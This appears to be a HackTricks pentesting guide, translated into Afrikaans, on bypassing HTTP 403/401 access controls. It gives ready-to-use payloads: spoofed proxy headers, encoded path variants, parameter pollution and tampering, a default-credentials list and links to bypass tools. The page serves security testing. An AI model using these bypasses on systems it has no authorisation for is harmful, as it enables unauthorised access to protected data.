119 lines
5.9 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 403 & 401 Bypasses
{{#include ../../banners/hacktricks-training.md}}
## HTTP Verbs/Methods Fuzzing
Probeer om **verskillende werkwoorde** te gebruik om toegang tot die lêer te verkry: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK`
- Kontroleer die responskoppe, miskien kan daar 'n paar inligting gegee word. Byvoorbeeld, 'n **200 respons** op **HEAD** met `Content-Length: 55` beteken dat die **HEAD werkwoord toegang tot die inligting kan verkry**. Maar jy moet steeds 'n manier vind om daardie inligting te exfiltreer.
- Gebruik 'n HTTP-kop soos `X-HTTP-Method-Override: PUT` om die gebruikte werkwoord te oorskryf.
- Gebruik **`TRACE`** werkwoord en as jy baie gelukkig is, kan jy dalk in die respons ook die **koppe wat deur tussenliggende proxies bygevoeg is** sien wat nuttig kan wees.
## HTTP Headers Fuzzing
- **Verander die Host-kop** na 'n arbitrêre waarde ([dit het hier gewerk](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
- Probeer om [**ander User Agents**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) te gebruik om toegang tot die hulpbron te verkry.
- **Fuzz HTTP Headers**: Probeer om HTTP Proxy **Koppe**, HTTP Authentisering Basic en NTLM brute-force (met 'n paar kombinasies net) en ander tegnieke te gebruik. Om dit alles te doen, het ek die hulpmiddel [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass) geskep.
- `X-Originating-IP: 127.0.0.1`
- `X-Forwarded-For: 127.0.0.1`
- `X-Forwarded: 127.0.0.1`
- `Forwarded-For: 127.0.0.1`
- `X-Remote-IP: 127.0.0.1`
- `X-Remote-Addr: 127.0.0.1`
- `X-ProxyUser-Ip: 127.0.0.1`
- `X-Original-URL: 127.0.0.1`
- `Client-IP: 127.0.0.1`
- `True-Client-IP: 127.0.0.1`
- `Cluster-Client-IP: 127.0.0.1`
- `X-ProxyUser-Ip: 127.0.0.1`
- `Host: localhost`
As die **pad beskerm is**, kan jy probeer om die padbeskerming te omseil deur hierdie ander koppe te gebruik:
- `X-Original-URL: /admin/console`
- `X-Rewrite-URL: /admin/console`
- As die bladsy **agter 'n proxy** is, is dit dalk die proxy wat jou verhinder om toegang tot die private inligting te verkry. Probeer om [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/index.html) **of** [**hop-by-hop koppe**](../../pentesting-web/abusing-hop-by-hop-headers.md)** te misbruik.**
- Fuzz [**spesiale HTTP koppe**](special-http-headers.md) op soek na verskillende respons.
- **Fuzz spesiale HTTP koppe** terwyl jy **HTTP Metodes** fuzz.
- **Verwyder die Host-kop** en miskien sal jy in staat wees om die beskerming te omseil.
## Path **Fuzzing**
As _/path_ geblokkeer is:
- Probeer om `/%2e/path` te gebruik (as die toegang deur 'n proxy geblokkeer word, kan dit die beskerming omseil). Probeer ook `/%252e**/path` (dubbele URL-kodering)
- Probeer **Unicode omseiling**: _/**%ef%bc%8f**path_ (Die URL-gecodeerde karakters is soos "/") so wanneer dit weer geënkodeer word, sal dit _//path_ wees en miskien het jy reeds die _/path_ naamkontrole omseil
- **Ander pad omseilings**:
- site.com/secret > HTTP 403 Verbode
- site.com/SECRET > HTTP 200 OK
- site.com/secret/ > HTTP 200 OK
- site.com/secret/. > HTTP 200 OK
- site.com//secret// > HTTP 200 OK
- site.com/./secret/.. > HTTP 200 OK
- site.com/;/secret > HTTP 200 OK
- site.com/.;/secret > HTTP 200 OK
- site.com//;//secret > HTTP 200 OK
- site.com/secret.json > HTTP 200 OK (ruby)
- Gebruik al [**hierdie lys**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/Unicode.txt) in die volgende situasies:
- /FUZZsecret
- /FUZZ/secret
- /secretFUZZ
- **Ander API omseilings:**
- /v3/users_data/1234 --> 403 Verbode
- /v1/users_data/1234 --> 200 OK
- {“id”:111} --> 401 Ongeautoriseerd
- {“id”:\[111]} --> 200 OK
- {“id”:111} --> 401 Ongeautoriseerd
- {“id”:{“id”:111\}} --> 200 OK
- {"user_id":"\<legit_id>","user_id":"\<victims_id>"} (JSON Parameter Besoedeling)
- user_id=ATTACKER_ID\&user_id=VICTIM_ID (Parameter Besoedeling)
## **Parameter Manipulation**
- Verander **param waarde**: Van **`id=123` --> `id=124`**
- Voeg addisionele parameters by die URL: `?`**`id=124` —-> `id=124&isAdmin=true`**
- Verwyder die parameters
- Herordeneer parameters
- Gebruik spesiale karakters.
- Voer grens toetsing in die parameters uit — verskaf waardes soos _-234_ of _0_ of _99999999_ (net 'n paar voorbeeldwaardes).
## **Protocol weergawe**
As jy HTTP/1.1 gebruik, **probeer om 1.0** te gebruik of toets selfs of dit **2.0 ondersteun**.
## **Ander Omseilings**
- Kry die **IP** of **CNAME** van die domein en probeer om **direk met dit in verbinding te tree**.
- Probeer om die **bediener te stres** deur algemene GET versoeke te stuur ([Dit het vir hierdie ou gewerk met Facebook](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
- **Verander die protokol**: van http na https, of van https na http
- Gaan na [**https://archive.org/web/**](https://archive.org/web/) en kyk of daardie lêer in die verlede **wêreldwyd toeganklik** was.
## **Brute Force**
- **Raai die wagwoord**: Toets die volgende algemene akrediteer. Weet jy iets van die slagoffer? Of die CTF-uitdaging naam?
- [**Brute force**](../../generic-hacking/brute-force.md#http-brute)**:** Probeer basiese, digest en NTLM auth.
```:Common creds
admin admin
admin password
admin 1234
admin admin1234
admin 123456
root toor
test test
guest guest
```
## Outomatiese Gereedskap
- [https://github.com/lobuhi/byp4xx](https://github.com/lobuhi/byp4xx)
- [https://github.com/iamj0ker/bypass-403](https://github.com/iamj0ker/bypass-403)
- [https://github.com/gotr00t0day/forbiddenpass](https://github.com/gotr00t0day/forbiddenpass)
- [Burp Extension - 403 Bypasser](https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122)
- [Forbidden Buster](https://github.com/Sn1r/Forbidden-Buster)
- [NoMoreForbidden](https://github.com/akinerk/NoMoreForbidden)
{{#include ../../banners/hacktricks-training.md}}